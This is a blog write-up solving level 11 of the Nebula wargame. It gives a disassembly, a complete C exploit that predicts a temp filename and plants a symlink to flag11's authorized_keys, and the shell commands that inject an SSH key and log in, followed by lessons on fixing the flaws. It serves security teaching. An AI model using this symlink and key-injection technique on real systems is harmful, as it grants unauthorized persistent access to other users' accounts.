blog.ferling.eu by Benedikt Ferling


 

exploit-exercises.com/nebula -- Level 11

The binary of this level does not match the given sourcecode! See below in the exploit.

Problem

Accepting, that the binary is different and not matching the sourcecode, the following problems occure:

  1. Custom (un)predictable function is used!
  2. Userinput is trusted!
  3. Default permit!

Regarding point one, a non-predictable filename, that is predictable is used. There are different kinds of pseudo random number generators. There are some, that have a good statistical distribution. However these may be predictable because they sometimes use a seed from which every further output is calculated. See wikipedia.org for basic information about this problem.

The second point is about the environment-variable TEMP, that is trusted and used as path to a file.

The third deals with the intention of the program. The program seems to be designed to execute /any/ command in the name of flag11. Why would someone enable someone else to do this in the first place?

Exploit

All exploits using the function void process(char *buffer, int length) don’t work, because the sourcecode is incomplete. This is the asm-code of that function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
(gdb) disass process
Dump of assembler code for function process:
   0x080489c7 <+0>:     push   %ebp
   0x080489c8 <+1>:     mov    %esp,%ebp
   0x080489ca <+3>:     sub    $0x28,%esp
   0x080489cd <+6>:     mov    0xc(%ebp),%eax
   0x080489d0 <+9>:     and    $0xff,%eax
   0x080489d5 <+14>:    mov    %eax,-0x10(%ebp)
   0x080489d8 <+17>:    movl   $0x0,-0xc(%ebp)
   0x080489df <+24>:    jmp    0x8048a0c <process+69>
   0x080489e1 <+26>:    mov    -0xc(%ebp),%eax
   0x080489e4 <+29>:    add    0x8(%ebp),%eax
   0x080489e7 <+32>:    mov    -0xc(%ebp),%edx
   0x080489ea <+35>:    add    0x8(%ebp),%edx
   0x080489ed <+38>:    movzbl (%edx),%edx
   0x080489f0 <+41>:    mov    %edx,%ecx
   0x080489f2 <+43>:    mov    -0x10(%ebp),%edx
   0x080489f5 <+46>:    xor    %ecx,%edx
   0x080489f7 <+48>:    mov    %dl,(%eax)
   0x080489f9 <+50>:    mov    -0xc(%ebp),%eax
   0x080489fc <+53>:    add    0x8(%ebp),%eax
   0x080489ff <+56>:    movzbl (%eax),%eax
   0x08048a02 <+59>:    movsbl %al,%eax
   0x08048a05 <+62>:    sub    %eax,-0x10(%ebp)
   0x08048a08 <+65>:    addl   $0x1,-0xc(%ebp)
   0x08048a0c <+69>:    mov    -0xc(%ebp),%eax
   0x08048a0f <+72>:    cmp    0xc(%ebp),%eax
   0x08048a12 <+75>:    jl     0x80489e1 <process+26>
   0x08048a14 <+77>:    call   0x8048700 <getgid@plt>
   0x08048a19 <+82>:    mov    %eax,(%esp)
   0x08048a1c <+85>:    call   0x8048690 <setgid@plt>
   0x08048a21 <+90>:    call   0x8048630 <getuid@plt>
   0x08048a26 <+95>:    mov    %eax,(%esp)
   0x08048a29 <+98>:    call   0x8048730 <setuid@plt>
   0x08048a2e <+103>:   mov    0x8(%ebp),%eax
   0x08048a31 <+106>:   mov    %eax,(%esp)
   0x08048a34 <+109>:   call   0x80486a0 <system@plt>
   0x08048a39 <+114>:   leave 
   0x08048a3a <+115>:   ret 
End of assembler dump.

Lines 29, 31, 32 and 34 are calls, that remove the suid. Any command run, runs in the name of the caller. Thinking this way, the program does not make any sense. It is just another way to execute commands in a more complicated way. In other words, it executs commands that could have been executed on the shell of the caller itself. There is no need for this strange wrapper…

However there is still a way to exploit this level in order to get the flag. The environment-variable TEMP is in our control as well as the user input.

This is a small c program, that helps exploiting the program:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <stdlib.h>

void randPath(char **path, int pid, int time){
  srandom(time);

  asprintf(path, "%s/%d.%c%c%c%c%c%c", getenv("TEMP"), pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));
}

int main(int argc, char **argv){
  char buf[1024] = "";
  char keyFile[34] = "/home/flag11/.ssh/authorized_keys\x00";
  int pid = getpid() + 1;
  char* path;

  randPath(&path, pid, time(NULL));
  symlink(keyFile, path);

  randPath(&path, pid, time(NULL)+1);
  symlink(keyFile, path);

  fprintf(stdout, "Content-Length: 1024\n%s",buf);
  
  return 0;
}

One need to generate an rsa-key with the following command: echo -e "/tmp/level11.key" | ssh-keygen -t rsa -b 2048 -C "level11@nebula". Do not use a passphrase. Replace the string `` of the c-sourcefile with the whole content of /tmp/level11.key.pub.

After that the following script will successfully get the flag:

1
2
3
4
export TEMP=/tmp
gcc /tmp/level11.c -o /tmp/level11
/tmp/level11 | /home/flag11/flag11
ssh -i /tmp/level11.key flag11@127.0.0.1 getflag

How does this exploit work?

First of all predict the file, the program flag11 is going to write to. This is done in the function void randPath(char **path, int pid, int time). Then create a symlink with that name, that points to /home/flag11/.ssh/authorized_keys.

Generate the output and pass it to /home/flag11/flag11. This program first processes the string Content-Length: 1024(with a newline). The program then takes the else-path in line 75.

The predictable filedescriptor is generated by flag11(line 79) and the while loop starts – blue = 1024. In line 84 fread reads 1024 elements of the size 1byte from stdin. This is the rsa-key(395 chars) plus the newline(1 char) and the ‘A’s(628 chars). The result is saved in the buffer buf. 1024 elements were read, so the return of fread is 1024 and thus pink equals 1024.

pink equals 1024, thus it is greater than 0. That means that the code continues in line 90. write is called. fd is the link, that points to /home/flag11/.ssh/authorized_keys. buf is the key + newline + a lot of ‘A’s. pink equals 1024. So the function writes the key, a newline and the ‘A’s into the file /home/flag11/.ssh/authorized_keys.

blue := blue - pink = 1024 - 1024 = 0. The while-loop ends.

The rest of the program can be ignored, since the exploit finished and the key is successfully written to the authorized_keys-file.

To get the flag the command ssh -i /tmp/level11.key flag11@127.0.0.1 getflag is executed.

Lesson / How to fix

  1. Do not use custom unpredictable methods! This method is not unpredictable
    Remember, that there exist different kinds of pseudo-random-number-generators!

  2. Do not trust user input! Not even the environment, which is under the control of the user.

  3. Assuming that the program does not remove the suid-bit inside the process-function, the programm is a risk due to default permit. If you want to enable an authorized user to run /any/ command in your name, use state of the art kryptology! But why do you want to do this in the first place?


other levels…

00 01 02 03 04 05 06 07 08 09
10 11 12 13 14 15 16 17 18 19